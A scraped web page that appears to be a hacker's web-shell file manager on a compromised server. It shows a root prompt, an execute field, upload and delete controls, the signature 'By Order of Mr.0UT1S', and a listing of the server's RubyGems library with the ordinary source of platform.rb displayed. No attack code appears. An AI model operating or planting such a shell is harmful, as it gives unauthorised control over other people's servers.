opt
/
alt
/
ruby26
/
lib64
/
ruby
/
2.6.0
/
rubygems
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] commands
N/A
[DIR] core_ext
N/A
[DIR] ext
N/A
[DIR] package
N/A
[DIR] request
N/A
[DIR] request_set
N/A
[DIR] resolver
N/A
[DIR] security
N/A
[DIR] source
N/A
[DIR] ssl_certs
N/A
[DIR] util
N/A
available_set.rb
3.02 KB
Rename
Delete
basic_specification.rb
7.34 KB
Rename
Delete
bundler_version_finder.rb
2.78 KB
Rename
Delete
command.rb
14.06 KB
Rename
Delete
command_manager.rb
4.99 KB
Rename
Delete
compatibility.rb
1014 bytes
Rename
Delete
config_file.rb
12.61 KB
Rename
Delete
defaults.rb
4.91 KB
Rename
Delete
dependency.rb
8.42 KB
Rename
Delete
dependency_installer.rb
14.37 KB
Rename
Delete
dependency_list.rb
5.52 KB
Rename
Delete
deprecate.rb
1.73 KB
Rename
Delete
doctor.rb
3.06 KB
Rename
Delete
errors.rb
4.63 KB
Rename
Delete
exceptions.rb
6.62 KB
Rename
Delete
ext.rb
460 bytes
Rename
Delete
gem_runner.rb
2.18 KB
Rename
Delete
gemcutter_utilities.rb
5.20 KB
Rename
Delete
indexer.rb
11.27 KB
Rename
Delete
install_default_message.rb
336 bytes
Rename
Delete
install_message.rb
310 bytes
Rename
Delete
install_update_options.rb
6.26 KB
Rename
Delete
installer.rb
26.37 KB
Rename
Delete
installer_test_case.rb
4.12 KB
Rename
Delete
local_remote_options.rb
3.54 KB
Rename
Delete
mock_gem_ui.rb
1.38 KB
Rename
Delete
name_tuple.rb
2.41 KB
Rename
Delete
package.rb
17.52 KB
Rename
Delete
package_task.rb
3.80 KB
Rename
Delete
path_support.rb
1.87 KB
Rename
Delete
platform.rb
6.25 KB
Rename
Delete
psych_additions.rb
300 bytes
Rename
Delete
psych_tree.rb
794 bytes
Rename
Delete
rdoc.rb
523 bytes
Rename
Delete
remote_fetcher.rb
11.38 KB
Rename
Delete
request.rb
8.69 KB
Rename
Delete
request_set.rb
11.93 KB
Rename
Delete
requirement.rb
7.38 KB
Rename
Delete
resolver.rb
9.44 KB
Rename
Delete
safe_yaml.rb
1.55 KB
Rename
Delete
security.rb
21.24 KB
Rename
Delete
security_option.rb
1.06 KB
Rename
Delete
server.rb
22.72 KB
Rename
Delete
source.rb
5.20 KB
Rename
Delete
source_list.rb
2.53 KB
Rename
Delete
source_local.rb
274 bytes
Rename
Delete
source_specific_file.rb
272 bytes
Rename
Delete
spec_fetcher.rb
6.51 KB
Rename
Delete
specification.rb
72.70 KB
Rename
Delete
specification_policy.rb
10.69 KB
Rename
Delete
stub_specification.rb
4.81 KB
Rename
Delete
syck_hack.rb
2.12 KB
Rename
Delete
test_case.rb
43.33 KB
Rename
Delete
test_utilities.rb
8.39 KB
Rename
Delete
text.rb
1.86 KB
Rename
Delete
uninstaller.rb
8.91 KB
Rename
Delete
uri_formatter.rb
792 bytes
Rename
Delete
user_interaction.rb
13.29 KB
Rename
Delete
util.rb
2.70 KB
Rename
Delete
validator.rb
4.21 KB
Rename
Delete
version.rb
12.22 KB
Rename
Delete
version_option.rb
2.02 KB
Rename
Delete
# frozen_string_literal: true require "rubygems/deprecate" ## # Available list of platforms for targeting Gem installations. # # See `gem help platform` for information on platform matching. class Gem::Platform @local = nil attr_accessor :cpu attr_accessor :os attr_accessor :version def self.local arch = RbConfig::CONFIG['arch'] arch = "#{arch}_60" if arch =~ /mswin(?:32|64)$/ @local ||= new(arch) end def self.match(platform) Gem.platforms.any? do |local_platform| platform.nil? or local_platform == platform or (local_platform != Gem::Platform::RUBY and local_platform =~ platform) end end def self.installable?(spec) if spec.respond_to? :installable_platform? spec.installable_platform? else match spec.platform end end def self.new(arch) # :nodoc: case arch when Gem::Platform::CURRENT then Gem::Platform.local when Gem::Platform::RUBY, nil, '' then Gem::Platform::RUBY else super end end def initialize(arch) case arch when Array then @cpu, @os, @version = arch when String then arch = arch.split '-' if arch.length > 2 and arch.last !~ /\d/ # reassemble x86-linux-gnu extra = arch.pop arch.last << "-#{extra}" end cpu = arch.shift @cpu = case cpu when /i\d86/ then 'x86' else cpu end if arch.length == 2 and arch.last =~ /^\d+(\.\d+)?$/ # for command-line @os, @version = arch return end os, = arch @cpu, os = nil, cpu if os.nil? # legacy jruby @os, @version = case os when /aix(\d+)?/ then [ 'aix', $1 ] when /cygwin/ then [ 'cygwin', nil ] when /darwin(\d+)?/ then [ 'darwin', $1 ] when /^macruby$/ then [ 'macruby', nil ] when /freebsd(\d+)?/ then [ 'freebsd', $1 ] when /hpux(\d+)?/ then [ 'hpux', $1 ] when /^java$/, /^jruby$/ then [ 'java', nil ] when /^java([\d.]*)/ then [ 'java', $1 ] when /^dalvik(\d+)?$/ then [ 'dalvik', $1 ] when /^dotnet$/ then [ 'dotnet', nil ] when /^dotnet([\d.]*)/ then [ 'dotnet', $1 ] when /linux/ then [ 'linux', $1 ] when /mingw32/ then [ 'mingw32', nil ] when /(mswin\d+)(\_(\d+))?/ then os, version = $1, $3 @cpu = 'x86' if @cpu.nil? and os =~ /32$/ [os, version] when /netbsdelf/ then [ 'netbsdelf', nil ] when /openbsd(\d+\.\d+)?/ then [ 'openbsd', $1 ] when /bitrig(\d+\.\d+)?/ then [ 'bitrig', $1 ] when /solaris(\d+\.\d+)?/ then [ 'solaris', $1 ] # test when /^(\w+_platform)(\d+)?/ then [ $1, $2 ] else [ 'unknown', nil ] end when Gem::Platform then @cpu = arch.cpu @os = arch.os @version = arch.version else raise ArgumentError, "invalid argument #{arch.inspect}" end end def inspect "%s @cpu=%p, @os=%p, @version=%p>" % [super[0..-2], *to_a] end def to_a [@cpu, @os, @version] end def to_s to_a.compact.join '-' end ## # Is +other+ equal to this platform? Two platforms are equal if they have # the same CPU, OS and version. def ==(other) self.class === other and to_a == other.to_a end alias :eql? :== def hash # :nodoc: to_a.hash end ## # Does +other+ match this platform? Two platforms match if they have the # same CPU, or either has a CPU of 'universal', they have the same OS, and # they have the same version, or either has no version. # # Additionally, the platform will match if the local CPU is 'arm' and the # other CPU starts with "arm" (for generic ARM family support). def ===(other) return nil unless Gem::Platform === other # cpu ([nil,'universal'].include?(@cpu) or [nil, 'universal'].include?(other.cpu) or @cpu == other.cpu or (@cpu == 'arm' and other.cpu =~ /\Aarm/)) and # os @os == other.os and # version (@version.nil? or other.version.nil? or @version == other.version) end ## # Does +other+ match this platform? If +other+ is a String it will be # converted to a Gem::Platform first. See #=== for matching rules. def =~(other) case other when Gem::Platform then # nop when String then # This data is from http://gems.rubyforge.org/gems/yaml on 19 Aug 2007 other = case other when /^i686-darwin(\d)/ then ['x86', 'darwin', $1 ] when /^i\d86-linux/ then ['x86', 'linux', nil ] when 'java', 'jruby' then [nil, 'java', nil ] when /^dalvik(\d+)?$/ then [nil, 'dalvik', $1 ] when /dotnet(\-(\d+\.\d+))?/ then ['universal','dotnet', $2 ] when /mswin32(\_(\d+))?/ then ['x86', 'mswin32', $2 ] when /mswin64(\_(\d+))?/ then ['x64', 'mswin64', $2 ] when 'powerpc-darwin' then ['powerpc', 'darwin', nil ] when /powerpc-darwin(\d)/ then ['powerpc', 'darwin', $1 ] when /sparc-solaris2.8/ then ['sparc', 'solaris', '2.8' ] when /universal-darwin(\d)/ then ['universal', 'darwin', $1 ] else other end other = Gem::Platform.new other else return nil end self === other end ## # A pure-Ruby gem that may use Gem::Specification#extensions to build # binary files. RUBY = 'ruby'.freeze ## # A platform-specific gem that is built for the packaging Ruby's platform. # This will be replaced with Gem::Platform::local. CURRENT = 'current'.freeze end
Save